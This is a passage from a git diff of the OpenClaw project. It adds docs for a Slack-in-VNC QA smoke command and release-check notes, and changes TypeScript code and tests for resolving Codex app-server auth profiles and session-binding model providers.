the VM, runs `pnpm openclaw qa slack` inside that VM, opens Slack Web in the VNC
|
||||
browser, captures the visible desktop, and copies both the Slack QA artifacts and
|
||||
the VNC screenshot back to the local output directory. This is the first Mantis
|
||||
shape where the SUT OpenClaw gateway and the browser both live inside the same
|
||||
Linux desktop VM.
|
||||
|
||||
With `--gateway-setup`, the command prepares a persistent disposable OpenClaw
|
||||
home at `$HOME/.openclaw-mantis/slack-openclaw`, patches Slack Socket Mode
|
||||
configuration for the selected channel, starts `openclaw gateway run` on port
|
||||
`38973`, and keeps Chrome running in the VNC session. This is the "leave me a
|
||||
Linux desktop with Slack and a claw running" mode; the bot-to-bot Slack QA lane
|
||||
remains the default when `--gateway-setup` is omitted.
|
||||
|
||||
Required inputs for `--credential-source env`:
|
||||
|
||||
- `OPENCLAW_QA_SLACK_CHANNEL_ID`
|
||||
- `OPENCLAW_QA_SLACK_DRIVER_BOT_TOKEN`
|
||||
- `OPENCLAW_QA_SLACK_SUT_BOT_TOKEN`
|
||||
- `OPENCLAW_QA_SLACK_SUT_APP_TOKEN`
|
||||
- `OPENCLAW_LIVE_OPENAI_KEY` for the remote model lane. If only
|
||||
`OPENAI_API_KEY` is set locally, Mantis maps it to `OPENCLAW_LIVE_OPENAI_KEY`
|
||||
before invoking Crabbox so Crabbox's `OPENCLAW_*` env forwarding can carry it
|
||||
into the VM.
|
||||
|
||||
Useful Slack desktop flags:
|
||||
|
||||
- `--lease-id <cbx_...>` reruns against a machine where an operator already logged in to Slack Web through VNC.
|
||||
- `--gateway-setup` starts a persistent OpenClaw Slack gateway in the VM instead of only running the bot-to-bot QA lane.
|
||||
- `--slack-url <url>` opens a specific Slack Web URL. Without it, Mantis derives `https://app.slack.com/client/<team>/<channel>` from Slack `auth.test` when the SUT bot token is available.
|
||||
- `--slack-channel-id <id>` controls the Slack channel allowlist used by gateway setup.
|
||||
- `OPENCLAW_MANTIS_SLACK_BROWSER_PROFILE_DIR` controls the persistent Chrome profile inside the VM. The default is `$HOME/.config/openclaw-mantis/slack-chrome-profile`, so a manual Slack Web login survives reruns on the same lease.
|
||||
- `--credential-source convex --credential-role ci` uses the shared credential pool instead of direct Slack env tokens.
|
||||
- `--provider-mode`, `--model`, `--alt-model`, and `--fast` pass through to the Slack live lane.
|
||||
|
||||
The GitHub smoke workflow is `Mantis Discord Smoke`. The before and after GitHub
|
||||
workflow for the first real scenario is `Mantis Discord Status Reactions`. It
|
||||
accepts:
|
||||
@@ -99,7 +166,9 @@ accepts:
|
||||
It checks out the workflow harness ref, builds separate baseline and candidate
|
||||
worktrees, runs `discord-status-reactions-tool-only` against each worktree, and
|
||||
uploads `baseline/`, `candidate/`, `comparison.json`, and `mantis-report.md` as
|
||||
Actions artifacts.
|
||||
Actions artifacts. It also renders each lane's timeline HTML in a Crabbox
|
||||
desktop browser and publishes those VNC screenshots beside the deterministic
|
||||
timeline PNGs in the PR comment.
|
||||
|
||||
You can also trigger the status-reactions run directly from a PR comment:
|
||||
|
||||
@@ -132,18 +201,19 @@ ClawSweeper review findings.
|
||||
|
||||
1. Acquire credentials.
|
||||
2. Allocate or reuse a VM.
|
||||
3. Prepare a clean checkout for the baseline ref.
|
||||
4. Install dependencies and build only what the scenario needs.
|
||||
5. Start a child OpenClaw Gateway with an isolated state directory.
|
||||
6. Configure the live transport, provider, model, and browser profile.
|
||||
7. Run the scenario and capture baseline evidence.
|
||||
8. Stop the gateway and preserve logs.
|
||||
9. Prepare the candidate ref in the same VM.
|
||||
10. Run the same scenario and capture candidate evidence.
|
||||
11. Compare the oracle results and visual evidence.
|
||||
12. Write Markdown, JSON, logs, screenshots, and optional trace artifacts.
|
||||
13. Upload GitHub Actions artifacts.
|
||||
14. Post a concise PR or Discord status message.
|
||||
3. Prepare the desktop/browser profile when the scenario needs UI evidence.
|
||||
4. Prepare a clean checkout for the baseline ref.
|
||||
5. Install dependencies and build only what the scenario needs.
|
||||
6. Start a child OpenClaw Gateway with an isolated state directory.
|
||||
7. Configure the live transport, provider, model, and browser profile.
|
||||
8. Run the scenario and capture baseline evidence.
|
||||
9. Stop the gateway and preserve logs.
|
||||
10. Prepare the candidate ref in the same VM.
|
||||
11. Run the same scenario and capture candidate evidence.
|
||||
12. Compare the oracle results and visual evidence.
|
||||
13. Write Markdown, JSON, logs, screenshots, and optional trace artifacts.
|
||||
14. Upload GitHub Actions artifacts.
|
||||
15. Post a concise PR or Discord status message.
|
||||
|
||||
The scenario should be able to fail in two different ways:
|
||||
|
||||
|
||||
@@ -29,26 +29,26 @@ Current pieces:
|
||||
Every QA flow runs under `pnpm openclaw qa <subcommand>`. Many have `pnpm qa:*`
|
||||
script aliases; both forms are supported.
|
||||
|
||||
| Command | Purpose |
|
||||
| --------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `qa run` | Bundled QA self-check; writes a Markdown report. |
|
||||
| `qa suite` | Run repo-backed scenarios against the QA gateway lane. Aliases: `pnpm openclaw qa suite --runner multipass` for a disposable Linux VM. |
|
||||
| `qa coverage` | Print the markdown scenario-coverage inventory (`--json` for machine output). |
|
||||
| `qa parity-report` | Compare two `qa-suite-summary.json` files and write the agentic parity report. |
|
||||
| `qa character-eval` | Run the character QA scenario across multiple live models with a judged report. See [Reporting](#reporting). |
|
||||
| `qa manual` | Run a one-off prompt against the selected provider/model lane. |
|
||||
| `qa ui` | Start the QA debugger UI and local QA bus (alias: `pnpm qa:lab:ui`). |
|
||||
| `qa docker-build-image` | Build the prebaked QA Docker image. |
|
||||
| `qa docker-scaffold` | Write a docker-compose scaffold for the QA dashboard + gateway lane. |
|
||||
| `qa up` | Build the QA site, start the Docker-backed stack, print the URL (alias: `pnpm qa:lab:up`; `:fast` variant adds `--use-prebuilt-image --bind-ui-dist --skip-ui-build`). |
|
||||
| `qa aimock` | Start only the AIMock provider server. |
|
||||
| `qa mock-openai` | Start only the scenario-aware `mock-openai` provider server. |
|
||||
| `qa credentials doctor` / `add` / `list` / `remove` | Manage the shared Convex credential pool. |
|
||||
| `qa matrix` | Live transport lane against a disposable Tuwunel homeserver. See [Matrix QA](/concepts/qa-matrix). |
|
||||
| `qa telegram` | Live transport lane against a real private Telegram group. |
|
||||
| `qa discord` | Live transport lane against a real private Discord guild channel. |
|
||||
| `qa slack` | Live transport lane against a real private Slack channel. |
|
||||
| `qa mantis` | Before and after verification runner for live transport bugs, with the first Discord status-reactions scenario. See [Mantis](/concepts/mantis). |
|
||||
| Command | Purpose |
|
||||
| --------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `qa run` | Bundled QA self-check; writes a Markdown report. |
|
||||
| `qa suite` | Run repo-backed scenarios against the QA gateway lane. Aliases: `pnpm openclaw qa suite --runner multipass` for a disposable Linux VM. |
|
||||
| `qa coverage` | Print the markdown scenario-coverage inventory (`--json` for machine output). |
|
||||
| `qa parity-report` | Compare two `qa-suite-summary.json` files and write the agentic parity report. |
|
||||
| `qa character-eval` | Run the character QA scenario across multiple live models with a judged report. See [Reporting](#reporting). |
|
||||
| `qa manual` | Run a one-off prompt against the selected provider/model lane. |
|
||||
| `qa ui` | Start the QA debugger UI and local QA bus (alias: `pnpm qa:lab:ui`). |
|
||||
| `qa docker-build-image` | Build the prebaked QA Docker image. |
|
||||
| `qa docker-scaffold` | Write a docker-compose scaffold for the QA dashboard + gateway lane. |
|
||||
| `qa up` | Build the QA site, start the Docker-backed stack, print the URL (alias: `pnpm qa:lab:up`; `:fast` variant adds `--use-prebuilt-image --bind-ui-dist --skip-ui-build`). |
|
||||
| `qa aimock` | Start only the AIMock provider server. |
|
||||
| `qa mock-openai` | Start only the scenario-aware `mock-openai` provider server. |
|
||||
| `qa credentials doctor` / `add` / `list` / `remove` | Manage the shared Convex credential pool. |
|
||||
| `qa matrix` | Live transport lane against a disposable Tuwunel homeserver. See [Matrix QA](/concepts/qa-matrix). |
|
||||
| `qa telegram` | Live transport lane against a real private Telegram group. |
|
||||
| `qa discord` | Live transport lane against a real private Discord guild channel. |
|
||||
| `qa slack` | Live transport lane against a real private Slack channel. |
|
||||
| `qa mantis` | Before and after verification runner for live transport bugs, with Discord status-reactions evidence, Crabbox desktop/browser smoke, and Slack-in-VNC smoke. See [Mantis](/concepts/mantis). |
|
||||
|
||||
## Operator flow
|
||||
|
||||
@@ -121,6 +121,23 @@ pnpm openclaw qa slack
|
||||
|
||||
They target a pre-existing real channel with two bots (driver + SUT). Required env vars, scenario lists, output artifacts, and the Convex credential pool are documented in [Telegram, Discord, and Slack QA reference](#telegram-discord-and-slack-qa-reference) below.
|
||||
|
||||
For a full Slack desktop VM run with VNC rescue, run:
|
||||
|
||||
```bash
|
||||
pnpm openclaw qa mantis slack-desktop-smoke \
|
||||
--gateway-setup \
|
||||
--scenario slack-canary \
|
||||
--keep-lease
|
||||
```
|
||||
|
||||
That command leases a Crabbox desktop/browser machine, runs the Slack live lane
|
||||
inside the VM, opens Slack Web in the VNC browser, captures the desktop, and
|
||||
copies `slack-qa/` plus `slack-desktop-smoke.png` back to the Mantis artifact
|
||||
directory. Reuse `--lease-id <cbx_...>` after logging in to Slack Web manually
|
||||
through VNC. With `--gateway-setup`, Mantis leaves a persistent OpenClaw Slack
|
||||
gateway running inside the VM on port `38973`; without it, the command runs the
|
||||
normal bot-to-bot Slack QA lane and exits after artifact capture.
|
||||
|
||||
Before using pooled live credentials, run:
|
||||
|
||||
```bash
|
||||
|
||||
@@ -159,15 +159,19 @@ the maintainer-only release runbook.
|
||||
QA-lab through a local OTLP/HTTP receiver and verifies the exported trace
|
||||
span names, bounded attributes, and content/identifier redaction without
|
||||
requiring Opik, Langfuse, or another external collector.
|
||||
- Run `pnpm release:check` before every tagged release
|
||||
- Run `pnpm release:check` before every tagged release; it also builds and
|
||||
verifies package-local plugin runtimes so TypeScript plugin entries cannot
|
||||
ship without matching `dist/*.js` output.
|
||||
- Run `OpenClaw Release Publish` for the mutating publish sequence after the
|
||||
tag exists. Dispatch it from `release/YYYY.M.D` (or `main` when publishing a
|
||||
main-reachable tag), pass the release tag and successful OpenClaw npm
|
||||
`preflight_run_id`, and keep the default plugin publish scope
|
||||
`all-publishable` unless you are deliberately running a focused repair. The
|
||||
workflow serializes plugin npm publish, plugin ClawHub publish, and OpenClaw
|
||||
npm publish so the core package is not published before its externalized
|
||||
plugins.
|
||||
workflow serializes plugin npm publish before plugin ClawHub publish and
|
||||
OpenClaw npm publish so the core package is not published before its
|
||||
externalized plugins. ClawHub package publish may run in parallel, but the
|
||||
workflow first verifies that every `@openclaw/*` package candidate already
|
||||
exists under the OpenClaw ClawHub publisher.
|
||||
- Release checks now run in a separate manual workflow:
|
||||
`OpenClaw Release Checks`
|
||||
- `OpenClaw Release Checks` also runs the QA Lab mock parity lane plus the fast
|
||||
|
||||
@@ -387,6 +387,40 @@ describe("bridgeCodexAppServerStartOptions", () => {
|
||||
}
|
||||
});
|
||||
|
||||
it("applies the default OpenAI Codex OAuth profile when no profile id is explicit", async () => {
|
||||
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-codex-app-server-"));
|
||||
const request = vi.fn(async () => ({ type: "chatgptAuthTokens" }));
|
||||
try {
|
||||
upsertAuthProfile({
|
||||
agentDir,
|
||||
profileId: "openai-codex:default",
|
||||
credential: {
|
||||
type: "oauth",
|
||||
provider: "openai-codex",
|
||||
access: "default-access-token",
|
||||
refresh: "default-refresh-token",
|
||||
expires: Date.now() + 24 * 60 * 60_000,
|
||||
accountId: "account-default",
|
||||
email: "codex-default@example.test",
|
||||
},
|
||||
});
|
||||
|
||||
await applyCodexAppServerAuthProfile({
|
||||
client: { request } as never,
|
||||
agentDir,
|
||||
});
|
||||
|
||||
expect(request).toHaveBeenCalledWith("account/login/start", {
|
||||
type: "chatgptAuthTokens",
|
||||
accessToken: "default-access-token",
|
||||
chatgptAccountId: "account-default",
|
||||
chatgptPlanType: null,
|
||||
});
|
||||
} finally {
|
||||
await fs.rm(agentDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("refreshes an expired OpenAI Codex OAuth profile before app-server login", async () => {
|
||||
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-codex-app-server-"));
|
||||
const request = vi.fn(async () => ({ type: "chatgptAuthTokens" }));
|
||||
|
||||
@@ -3,8 +3,10 @@ import path from "node:path";
|
||||
import {
|
||||
ensureAuthProfileStore,
|
||||
loadAuthProfileStoreForSecretsRuntime,
|
||||
resolveAuthProfileOrder,
|
||||
resolveProviderIdForAuth,
|
||||
resolveApiKeyForProfile,
|
||||
resolveOpenClawAgentDir,
|
||||
resolvePersistedAuthProfileOwnerAgentDir,
|
||||
saveAuthProfileStore,
|
||||
type AuthProfileCredential,
|
||||
@@ -28,6 +30,8 @@ const OPENAI_API_KEY_ENV_VAR = "OPENAI_API_KEY";
|
||||
const CODEX_APP_SERVER_API_KEY_ENV_VARS = [CODEX_API_KEY_ENV_VAR, OPENAI_API_KEY_ENV_VAR];
|
||||
const CODEX_APP_SERVER_ISOLATION_ENV_VARS = [CODEX_HOME_ENV_VAR, HOME_ENV_VAR];
|
||||
|
||||
type AuthProfileOrderConfig = Parameters<typeof resolveAuthProfileOrder>[0]["cfg"];
|
||||
|
||||
export async function bridgeCodexAppServerStartOptions(params: {
|
||||
startOptions: CodexAppServerStartOptions;
|
||||
agentDir: string;
|
||||
@@ -41,15 +45,49 @@ export async function bridgeCodexAppServerStartOptions(params: {
|
||||
params.agentDir,
|
||||
);
|
||||
const store = ensureAuthProfileStore(params.agentDir, { allowKeychainPrompt: false });
|
||||
const authProfileId = resolveCodexAppServerAuthProfileId({
|
||||
authProfileId: params.authProfileId,
|
||||
store,
|
||||
});
|
||||
const shouldClearInheritedOpenAiApiKey = shouldClearOpenAiApiKeyForCodexAuthProfile({
|
||||
store,
|
||||
authProfileId: params.authProfileId,
|
||||
authProfileId,
|
||||
});
|
||||
return shouldClearInheritedOpenAiApiKey
|
||||
? withClearedEnvironmentVariables(isolatedStartOptions, CODEX_APP_SERVER_API_KEY_ENV_VARS)
|
||||
: isolatedStartOptions;
|
||||
}
|
||||
|
||||
export function resolveCodexAppServerAuthProfileId(params: {
|
||||
authProfileId?: string;
|
||||
store: ReturnType<typeof ensureAuthProfileStore>;
|
||||
config?: AuthProfileOrderConfig;
|
||||
}): string | undefined {
|
||||
const requested = params.authProfileId?.trim();
|
||||
if (requested) {
|
||||
return requested;
|
||||
}
|
||||
return resolveAuthProfileOrder({
|
||||
cfg: params.config,
|
||||
store: params.store,
|
||||
provider: CODEX_APP_SERVER_AUTH_PROVIDER,
|
||||
})[0]?.trim();
|
||||
}
|
||||
|
||||
export function resolveCodexAppServerAuthProfileIdForAgent(params: {
|
||||
authProfileId?: string;
|
||||
agentDir?: string;
|
||||
config?: AuthProfileOrderConfig;
|
||||
}): string | undefined {
|
||||
const agentDir = params.agentDir?.trim() || resolveOpenClawAgentDir();
|
||||
const store = ensureAuthProfileStore(agentDir, { allowKeychainPrompt: false });
|
||||
return resolveCodexAppServerAuthProfileId({
|
||||
authProfileId: params.authProfileId,
|
||||
store,
|
||||
config: params.config,
|
||||
});
|
||||
}
|
||||
|
||||
export function resolveCodexAppServerHomeDir(agentDir: string): string {
|
||||
return path.join(path.resolve(agentDir), CODEX_APP_SERVER_HOME_DIRNAME);
|
||||
}
|
||||
@@ -153,11 +191,14 @@ async function resolveCodexAppServerAuthProfileLoginParamsInternal(params: {
|
||||
authProfileId?: string;
|
||||
forceOAuthRefresh?: boolean;
|
||||
}): Promise<LoginAccountParams | undefined> {
|
||||
const profileId = params.authProfileId?.trim();
|
||||
const store = ensureAuthProfileStore(params.agentDir, { allowKeychainPrompt: false });
|
||||
const profileId = resolveCodexAppServerAuthProfileId({
|
||||
authProfileId: params.authProfileId,
|
||||
store,
|
||||
});
|
||||
if (!profileId) {
|
||||
return undefined;
|
||||
}
|
||||
const store = ensureAuthProfileStore(params.agentDir, { allowKeychainPrompt: false });
|
||||
const credential = store.profiles[profileId];
|
||||
if (!credential) {
|
||||
throw new Error(`Codex app-server auth profile "${profileId}" was not found.`);
|
||||
|
||||
@@ -40,7 +40,11 @@ import {
|
||||
} from "openclaw/plugin-sdk/agent-harness-runtime";
|
||||
import { emitTrustedDiagnosticEvent } from "openclaw/plugin-sdk/diagnostic-runtime";
|
||||
import { handleCodexAppServerApprovalRequest } from "./approval-bridge.js";
|
||||
import { refreshCodexAppServerAuthTokens } from "./auth-bridge.js";
|
||||
import {
|
||||
refreshCodexAppServerAuthTokens,
|
||||
resolveCodexAppServerAuthProfileId,
|
||||
resolveCodexAppServerAuthProfileIdForAgent,
|
||||
} from "./auth-bridge.js";
|
||||
import {
|
||||
createCodexAppServerClientFactoryTestHooks,
|
||||
defaultCodexAppServerClientFactory,
|
||||
@@ -377,16 +381,31 @@ export async function runCodexAppServerAttempt(
|
||||
agentId: params.agentId,
|
||||
});
|
||||
const agentDir = params.agentDir ?? resolveOpenClawAgentDir();
|
||||
const runtimeParams = { ...params, sessionKey: sandboxSessionKey };
|
||||
const startupBinding = await readCodexAppServerBinding(params.sessionFile);
|
||||
const startupAuthProfileCandidate =
|
||||
params.runtimePlan?.auth.forwardedAuthProfileId ??
|
||||
params.authProfileId ??
|
||||
startupBinding?.authProfileId;
|
||||
const startupAuthProfileId = params.authProfileStore
|
||||
? resolveCodexAppServerAuthProfileId({
|
||||
authProfileId: startupAuthProfileCandidate,
|
||||
store: params.authProfileStore,
|
||||
config: params.config,
|
||||
})
|
||||
: resolveCodexAppServerAuthProfileIdForAgent({
|
||||
authProfileId: startupAuthProfileCandidate,
|
||||
agentDir,
|
||||
config: params.config,
|
||||
});
|
||||
const runtimeParams = {
|
||||
...params,
|
||||
sessionKey: sandboxSessionKey,
|
||||
...(startupAuthProfileId ? { authProfileId: startupAuthProfileId } : {}),
|
||||
};
|
||||
const activeContextEngine = isActiveHarnessContextEngine(params.contextEngine)
|
||||
? params.contextEngine
|
||||
: undefined;
|
||||
let yieldDetected = false;
|
||||
const startupBinding = await readCodexAppServerBinding(params.sessionFile);
|
||||
const startupAuthProfileId =
|
||||
params.runtimePlan?.auth.forwardedAuthProfileId ??
|
||||
params.authProfileId ??
|
||||
startupBinding?.authProfileId;
|
||||
const tools = await buildDynamicTools({
|
||||
params,
|
||||
resolvedWorkspace,
|
||||
@@ -553,7 +572,7 @@ export async function runCodexAppServerAttempt(
|
||||
});
|
||||
const startupThread = await startOrResumeThread({
|
||||
client: startupClient,
|
||||
params,
|
||||
params: runtimeParams,
|
||||
cwd: effectiveWorkspace,
|
||||
dynamicTools: toolBridge.specs,
|
||||
appServer,
|
||||
|
||||
@@ -7,10 +7,26 @@ import {
|
||||
readCodexAppServerBinding,
|
||||
resolveCodexAppServerBindingPath,
|
||||
writeCodexAppServerBinding,
|
||||
type CodexAppServerAuthProfileLookup,
|
||||
} from "./session-binding.js";
|
||||
|
||||
let tempDir: string;
|
||||
|
||||
const nativeAuthLookup: Pick<CodexAppServerAuthProfileLookup, "authProfileStore"> = {
|
||||
authProfileStore: {
|
||||
version: 1,
|
||||
profiles: {
|
||||
work: {
|
||||
type: "oauth",
|
||||
provider: "openai-codex",
|
||||
access: "access-token",
|
||||
refresh: "refresh-token",
|
||||
expires: Date.now() + 60_000,
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
describe("codex app-server session binding", () => {
|
||||
beforeEach(async () => {
|
||||
tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-codex-binding-"));
|
||||
@@ -44,6 +60,96 @@ describe("codex app-server session binding", () => {
|
||||
await expect(fs.stat(resolveCodexAppServerBindingPath(sessionFile))).resolves.toBeTruthy();
|
||||
});
|
||||
|
||||
it("does not persist public OpenAI as the provider for Codex-native auth bindings", async () => {
|
||||
const sessionFile = path.join(tempDir, "session.json");
|
||||
await writeCodexAppServerBinding(
|
||||
sessionFile,
|
||||
{
|
||||
threadId: "thread-123",
|
||||
cwd: tempDir,
|
||||
authProfileId: "work",
|
||||
model: "gpt-5.4-mini",
|
||||
modelProvider: "openai",
|
||||
},
|
||||
nativeAuthLookup,
|
||||
);
|
||||
|
||||
const raw = await fs.readFile(resolveCodexAppServerBindingPath(sessionFile), "utf8");
|
||||
const binding = await readCodexAppServerBinding(sessionFile, nativeAuthLookup);
|
||||
|
||||
expect(raw).not.toContain('"modelProvider": "openai"');
|
||||
expect(binding).toMatchObject({
|
||||
threadId: "thread-123",
|
||||
authProfileId: "work",
|
||||
model: "gpt-5.4-mini",
|
||||
});
|
||||
expect(binding?.modelProvider).toBeUndefined();
|
||||
});
|
||||
|
||||
it("normalizes older Codex-native bindings that stored public OpenAI provider", async () => {
|
||||
const sessionFile = path.join(tempDir, "session.json");
|
||||
await fs.writeFile(
|
||||
resolveCodexAppServerBindingPath(sessionFile),
|
||||
`${JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
threadId: "thread-123",
|
||||
sessionFile,
|
||||
cwd: tempDir,
|
||||
authProfileId: "work",
|
||||
model: "gpt-5.4-mini",
|
||||
modelProvider: "openai",
|
||||
createdAt: "2026-05-03T00:00:00.000Z",
|
||||
updatedAt: "2026-05-03T00:00:00.000Z",
|
||||
})}\n`,
|
||||
);
|
||||
|
||||
const binding = await readCodexAppServerBinding(sessionFile, nativeAuthLookup);
|
||||
|
||||
expect(binding?.authProfileId).toBe("work");
|
||||
expect(binding?.modelProvider).toBeUndefined();
|
||||
});
|
||||
|
||||
it("does not infer native Codex auth from the profile id prefix", async () => {
|
||||
const sessionFile = path.join(tempDir, "session.json");
|
||||
await writeCodexAppServerBinding(
|
||||
sessionFile,
|
||||
{
|
||||
threadId: "thread-123",
|
||||
cwd: tempDir,
|
||||
authProfileId: "openai-codex:work",
|
||||
model: "gpt-5.4-mini",
|
||||
modelProvider: "openai",
|
||||
},
|
||||
{
|
||||
authProfileStore: {
|
||||
version: 1,
|
||||
profiles: {
|
||||
"openai-codex:work": {
|
||||
type: "api_key",
|
||||
provider: "openai",
|
||||
key: "sk-test",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
const binding = await readCodexAppServerBinding(sessionFile, {
|
||||
authProfileStore: {
|
||||
version: 1,
|
||||
profiles: {
|
||||
"openai-codex:work": {
|
||||
type: "api_key",
|
||||
provider: "openai",
|
||||
key: "sk-test",
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(binding?.modelProvider).toBe("openai");
|
||||
});
|
||||
|
||||
it("clears missing bindings without throwing", async () => {
|
||||
const sessionFile = path.join(tempDir, "missing.json");
|
||||
await clearCodexAppServerBinding(sessionFile);
|
||||
|
||||
@@ -1,8 +1,27 @@
|
||||
import fs from "node:fs/promises";
|
||||
import { embeddedAgentLog } from "openclaw/plugin-sdk/agent-harness-runtime";
|
||||
import {
|
||||
ensureAuthProfileStore,
|
||||
resolveOpenClawAgentDir,
|
||||
resolveProviderIdForAuth,
|
||||
type AuthProfileStore,
|
||||
} from "openclaw/plugin-sdk/agent-runtime";
|
||||
import type { CodexAppServerApprovalPolicy, CodexAppServerSandboxMode } from "./config.js";
|
||||
import type { CodexServiceTier } from "./protocol.js";
|
||||
|
||||
const CODEX_APP_SERVER_NATIVE_AUTH_PROVIDER = "openai-codex";
|
||||
const PUBLIC_OPENAI_MODEL_PROVIDER = "openai";
|
||||
|
||||
type ProviderAuthAliasLookupParams = Parameters<typeof resolveProviderIdForAuth>[1];
|
||||
type ProviderAuthAliasConfig = NonNullable<ProviderAuthAliasLookupParams>["config"];
|
||||
|
||||
export type CodexAppServerAuthProfileLookup = {
|
||||
authProfileId?: string;
|
||||
authProfileStore?: AuthProfileStore;
|
||||
agentDir?: string;
|
||||
config?: ProviderAuthAliasConfig;
|
||||
};
|
||||
|
||||
export type CodexAppServerThreadBinding = {
|
||||
schemaVersion: 1;
|
||||
threadId: string;
|
||||
@@ -25,6 +44,7 @@ export function resolveCodexAppServerBindingPath(sessionFile: string): string {
|
||||
|
||||
export async function readCodexAppServerBinding(
|
||||
sessionFile: string,
|
||||
lookup: Omit<CodexAppServerAuthProfileLookup, "authProfileId"> = {},
|
||||
): Promise<CodexAppServerThreadBinding | undefined> {
|
||||
const path = resolveCodexAppServerBindingPath(sessionFile);
|
||||
let raw: string;
|
||||
@@ -42,14 +62,20 @@ export async function readCodexAppServerBinding(
|
||||
if (parsed.schemaVersion !== 1 || typeof parsed.threadId !== "string") {
|
||||
return undefined;
|
||||
}
|
||||
const authProfileId =
|
||||
typeof parsed.authProfileId === "string" ? parsed.authProfileId : undefined;
|
||||
return {
|
||||
schemaVersion: 1,
|
||||
threadId: parsed.threadId,
|
||||
sessionFile,
|
||||
cwd: typeof parsed.cwd === "string" ? parsed.cwd : "",
|
||||
authProfileId: typeof parsed.authProfileId === "string" ? parsed.authProfileId : undefined,
|
||||
authProfileId,
|
||||
model: typeof parsed.model === "string" ? parsed.model : undefined,
|
||||
modelProvider: typeof parsed.modelProvider === "string" ? parsed.modelProvider : undefined,
|
||||
modelProvider: normalizeCodexAppServerBindingModelProvider({
|
||||
...lookup,
|
||||
authProfileId,
|
||||
modelProvider: typeof parsed.modelProvider === "string" ? parsed.modelProvider : undefined,
|
||||
}),
|
||||
approvalPolicy: readApprovalPolicy(parsed.approvalPolicy),
|
||||
sandbox: readSandboxMode(parsed.sandbox),
|
||||
serviceTier: readServiceTier(parsed.serviceTier),
|
||||
@@ -74,6 +100,7 @@ export async function writeCodexAppServerBinding(
|
||||
> & {
|
||||
createdAt?: string;
|
||||
},
|
||||
lookup: Omit<CodexAppServerAuthProfileLookup, "authProfileId"> = {},
|
||||
): Promise<void> {
|
||||
const now = new Date().toISOString();
|
||||
const payload: CodexAppServerThreadBinding = {
|
||||
@@ -83,7 +110,11 @@ export async function writeCodexAppServerBinding(
|
||||
cwd: binding.cwd,
|
||||
authProfileId: binding.authProfileId,
|
||||
model: binding.model,
|
||||
modelProvider: binding.modelProvider,
|
||||
modelProvider: normalizeCodexAppServerBindingModelProvider({
|
||||
...lookup,
|
||||
authProfileId: binding.authProfileId,
|
||||
modelProvider: binding.modelProvider,
|
||||
}),
|
||||
approvalPolicy: binding.approvalPolicy,
|
||||
sandbox: binding.sandbox,
|
||||
serviceTier: binding.serviceTier,
|
||||
@@ -111,6 +142,80 @@ function isNotFound(error: unknown): boolean {
|
||||
return Boolean(error && typeof error === "object" && "code" in error && error.code === "ENOENT");
|
||||
}
|
||||
|
||||
export function isCodexAppServerNativeAuthProfile(
|
||||
lookup: CodexAppServerAuthProfileLookup,
|
||||
): boolean {
|
||||
const authProfileId = lookup.authProfileId?.trim();
|
||||
if (!authProfileId) {
|
||||
return false;
|
||||
}
|
||||
try {
|
||||
const credential = resolveCodexAppServerAuthProfileCredential({
|
||||
...lookup,
|
||||
authProfileId,
|
||||
});
|
||||
return isCodexAppServerNativeAuthProvider({
|
||||
provider: credential?.provider,
|
||||
config: lookup.config,
|
||||
});
|
||||
} catch (error) {
|
||||
embeddedAgentLog.debug("failed to resolve codex app-server auth profile provider", {
|
||||
authProfileId,
|
||||
error,
|
||||
});
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function normalizeCodexAppServerBindingModelProvider(params: {
|
||||
authProfileId?: string;
|
||||
modelProvider?: string;
|
||||
authProfileStore?: AuthProfileStore;
|
||||
agentDir?: string;
|
||||
config?: ProviderAuthAliasConfig;
|
||||
}): string | undefined {
|
||||
const modelProvider = params.modelProvider?.trim();
|
||||
if (!modelProvider) {
|
||||
return undefined;
|
||||
}
|
||||
if (
|
||||
isCodexAppServerNativeAuthProfile(params) &&
|
||||
modelProvider.toLowerCase() === PUBLIC_OPENAI_MODEL_PROVIDER
|
||||
) {
|
||||
return undefined;
|
||||
}
|
||||
return modelProvider;
|
||||
}
|
||||
|
||||
function resolveCodexAppServerAuthProfileCredential(
|
||||
lookup: CodexAppServerAuthProfileLookup,
|
||||
): AuthProfileStore["profiles"][string] | undefined {
|
||||
const authProfileId = lookup.authProfileId?.trim();
|
||||
if (!authProfileId) {
|
||||
return undefined;
|
||||
}
|
||||
const store = lookup.authProfileStore ?? loadCodexAppServerAuthProfileStore(lookup.agentDir);
|
||||
return store.profiles[authProfileId];
|
||||
}
|
||||
|
||||
function loadCodexAppServerAuthProfileStore(agentDir: string | undefined): AuthProfileStore {
|
||||
return ensureAuthProfileStore(agentDir?.trim() || resolveOpenClawAgentDir(), {
|
||||
allowKeychainPrompt: false,
|
||||
});
|
||||
}
|
||||
|
||||
function isCodexAppServerNativeAuthProvider(params: {
|
||||
provider?: string;
|
||||
config?: ProviderAuthAliasConfig;
|
||||
}): boolean {
|
||||
const provider = params.provider?.trim();
|
||||
return Boolean(
|
||||
provider &&
|
||||
resolveProviderIdForAuth(provider, { config: params.config }) ===
|
||||
CODEX_APP_SERVER_NATIVE_AUTH_PROVIDER,
|
||||
);
|
||||
}
|
||||
|
||||
function readApprovalPolicy(value: unknown): CodexAppServerApprovalPolicy | undefined {
|
||||
return value === "never" ||
|
||||
value === "on-request" ||
|
||||
|
||||
@@ -1,5 +1,116 @@
|
||||
import type { EmbeddedRunAttemptParams } from "openclaw/plugin-sdk/agent-harness-runtime";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { resolveReasoningEffort } from "./thread-lifecycle.js";
|
||||
import {
|
||||
buildThreadResumeParams,
|
||||
buildThreadStartParams,
|
||||
resolveReasoningEffort,
|
||||
} from "./thread-lifecycle.js";
|
||||
|
||||
function createAttemptParams(params: {
|
||||
provider: string;
|
||||
authProfileId?: string;
|
||||
authProfileProvider?: string;
|
||||
authProfileProviders?: Record<string, string>;
|
